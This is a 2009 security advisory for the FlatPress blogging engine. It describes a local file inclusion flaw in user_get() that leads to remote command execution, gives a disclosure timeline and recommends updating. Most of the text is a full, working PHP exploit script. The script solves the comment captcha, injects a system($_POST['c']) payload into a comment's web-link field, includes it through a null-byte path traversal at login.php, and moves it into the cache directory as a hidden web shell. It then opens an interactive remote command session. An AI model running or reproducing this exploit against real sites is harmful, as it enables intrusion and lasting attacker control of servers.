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flatpress-exec.txt

Posted on 29 September 2009

Security Advisory
-----------------
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution


Researcher Information
----------------------
Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com


Product Information
-------------------
FlatPress is an open-source standard-compliant multi-lingual
extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org


Vulnerability Description
-------------------------
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty
LFI vulnerability which can be exploited to have RCE (Remote Command
Execution). The piece of code involved is in the
fp-includes/core/core.users.php directory in the user_get() function
as showed below.

function user_get($userid=null){
if ($userid == null && ($user = user_loggedin())) {
return $user;
}
if (file_exists($f = USERS_DIR . $userid.".php")) {
include($f);

return $user;
}
}

It is possible to create a crafted comment for an article, and inject
PHP code into the "web link" field, which is not properly validated.
Then, a remote attacker could use this code to execute shell commands
remotely, eventually hiding his own tracks (e.g. deleting the injected
comment).


Disclosure timeline
-------------------

DD/MM/YYYY

* 24/09/2009: Vulnerability discovery and analysis;
* 26/09/2009: The vendor was notificated via e-mail;
* 26/09/2009: Vendor response and a new release publicly available;
* 27/09/2009: The researcher starts coding the exploit;
* 29/09/2009: Exploit complete and tested.


Workaroud
---------
Update to the newer version 0.812.2


Shouts
------
Thank you (you-know-who) :-)


Exploit
-------
<?php
/* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>
*
* Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
*              vulnerability exploit (fp-includes/core/core.users.php).
*              This code posts a crafted comment with a very simple
PHP shell.
*              It exploits the LFI, hides the shell in the cache directory
*              and starts a remote command session via POST.
*
* Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
*         <host>:   the hostname or IP address of your target;
*         <path>:   the path where FlatPress was installed;
*         [action]: the action to take against the host system
(test, attack);
*         [lang]:   the remote language used (en, it);";
*         [shell]:  if already exploited, you could just have the shell name.
*
* Dependencies: php5-curl.
*
* Examples:
*   php fp-lfi2rce.php www.example.com /
=> will test
*   php fp-lfi2rce.php www.example.com /blog attack
=> will attack
*   php fp-lfi2rce.php www.example.com /flatpress attack en
12345678.php  => start remote session
*/

/* GET request, returns the page */
function get_url_contents($crl, $url)
{
curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
$ret = curl_exec($crl);

return $ret;
}

/* POST request */
function post_url_fields($crl, $url, $fields)
{
curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($crl, CURLOPT_POST, 1);
curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
$ret = curl_exec($crl);

return $ret;
}

/* Execute remote command, returns the output */
function fp_exec($crl, $sh, $cmd)
{
$ret = post_url_fields($crl, $sh, "c=$cmd");

if ($ret) {
$pos1 = strpos($ret, 'http://www.aaa') + 14;
$pos2 = strpos($ret, 'aaa.com', $pos1);
$result = substr($ret, $pos1, $pos2-$pos1);
return $result;
} else
return false;
}

/* Starts a remote command session */
function fp_shell($crl, $sh)
{
echo "
Starting remote command session, type 'quit' or 'exit' to exit.
";

echo "
remote> ";
$line = trim(fgets(STDIN));

while (($line != 'exit') && ($line != 'quit')) {
if ($line != "") {
if ($ret = fp_exec($crl, $sh, $line)) {
echo "
$ret";
} else
echo "
Error.
";
}
echo "
remote> ";
$line = trim(fgets(STDIN));
}
}

function fail($crl, $str)
{
curl_close($crl);

die($str);
}

echo "
 Author: Giuseppe `Zmax` Fuggiano
<giuseppe(dot)fuggiano(at)gmail(dot)com>
";
echo "
";
echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
";
echo "              vulnerability exploit
(fp-includes/core/core.users.php).
";
echo "              This code posts a crafted comment with a very
simple PHP shell.
";
echo "              It exploits the LFI, hides the shell in the
cache directory
";
echo "              and starts a remote command session via POST.
";
echo "
";
echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]
";
echo "         <host>:   the hostname or IP address of your target;
";
echo "         <path>:   the path where FlatPress was installed;
";
echo "         [action]: the action to take against the host system
(test, attack);
";
echo "         [lang]:   the remote language used (en, it);
";
echo "         [shell]:  if already exploited, you could just have
the shell name.
";
echo "
";
echo " Examples:
";
echo "         php $argv[0] www.example.com /
=> will test
";
echo "         php $argv[0] www.example.com /blog attack
=> will attack
";
echo "         php $argv[0] www.example.com /flatpress attack en
12345678.php  => start remote session

";

$crl = curl_init();

if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')
die();

$HOST = $argv[1];
$PATH = $argv[2];

if (isset($argv[3]))
$ACTION = $argv[3];
else
$ACTION = 'test';

if (isset($argv[4]))
$LANG = $argv[4];
else
$LANG = 'en';

switch ($LANG) {
case 'it':
$LANGARRAY = array('aaspam'   => 'Per prevenire abusi del
sistema di commenti, ' .
'ti chiediamo di scrivere il
risultato di ' .
'questa semplice operazione matematica',
'sum'      => 'sommare',
'subtract' => 'togli');
break;
default: /* en */
$LANGARRAY = array('aaspam'   => 'As a way to prevent abuses of
this commenting system, ' .
'we must ask you to give the
result of this simple ' .
'mathematical operation',
'sum'      => 'sum',
'subtract' => 'subtract');
break;
}

if (isset($argv[5])) {
$SHELL = $argv[5];
fp_shell($crl, "fp-content/cache/$SHELL");
curl_close($crl);
exit();
} else
$SHELL = 'unknown';

echo " Host: $HOST
";
echo " Path: $PATH
";
echo " Lang: $LANG
";
echo " Shell: $SHELL

";

echo " [+] Vulnerability test: ";

$form = "user=../../admin&pass=".rand()."&submit=Login";
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false)
echo "vulnerable!

";
else
fail($crl, "NOT vulnerable!

");

if ($ACTION == "test") {
curl_close($crl);
exit();
}

echo " [+] Creating the shell
";
echo "     * Getting the home page: ";

$home = get_url_contents($crl, "$HOST/$PATH/");

if (strpos($home, '<meta name="generator" content="FlatPress'))
echo "ok
";
else
fail($crl, "FAIL!

");

echo "     * Detecting an article: ";

$entrypos = strpos($home, "x=entry:entry") + 8;

if ($entrypos) {
$entry = substr($home, $entrypos, 18);
echo "$entry
";
} else
fail($crl, "FAIL!

");

echo "     * Getting the comment page: ";

$commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

if (strpos($commentpage, 'id="comment-userdata"'))
echo "ok
";
else
fail($crl, "FAIL!

");

echo "     * Solving the math operation: ";

$mathpos = strpos($commentpage, $LANGARRAY['aaspam']) +
strlen($LANGARRAY['aaspam']);
$mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>");
$mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);
$operation = strtok($mathstr, " ");

switch ($operation) {
case $LANGARRAY['sum']:
$first = strtok(' ');
$to = strtok(' ');
$second = strtok(' ');
$result = $first + $second;
break;
case $LANGARRAY['subtract']:
$first = strtok(' ');
$from = strtok(' ');
$second = strtok(' ');
$result = $second - $first;
break;
case (is_numeric($operation) ? $operation : ""):
$first = $operation;
$times = strtok(' ');
$second = strtok(' ');
$result = $first * $second;
break;
default:
fail($crl, "FAIL!

");
}

echo "$result
";

echo "     * Posting crafted comment...
";

$random = rand();
$form = 'name='.$random.'&email=fake@fake.com&url=http://www.aaa<?system($_POST['c']);?>aaa.com'
.
'&aaspam='.$result.'&content=foo&submit=Add';

post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);
$commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

echo "     * Searching comment name: ";

if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
$commentpage, $comments, PREG_PATTERN_ORDER)) {
$commententry = end($comments[0]);
echo "$commententry
";
} else
fail($crl, "FAIL!

");

$year = substr($entry, 5, 2);
$month = substr($entry, 7, 2);
$commentpath = "content/$year/$month/$entry/comments/$commententry.txt";

echo "     * Hiding tracks: ";

$SHELL = rand().'.php';

$form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
"&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";

$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) {
echo "ok

";
echo " [+] Your shell: fp-content/cache/$SHELL
";
} else
fail($crl, "FAIL!

");

fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");

curl_close($crl);

exit();
?>

 

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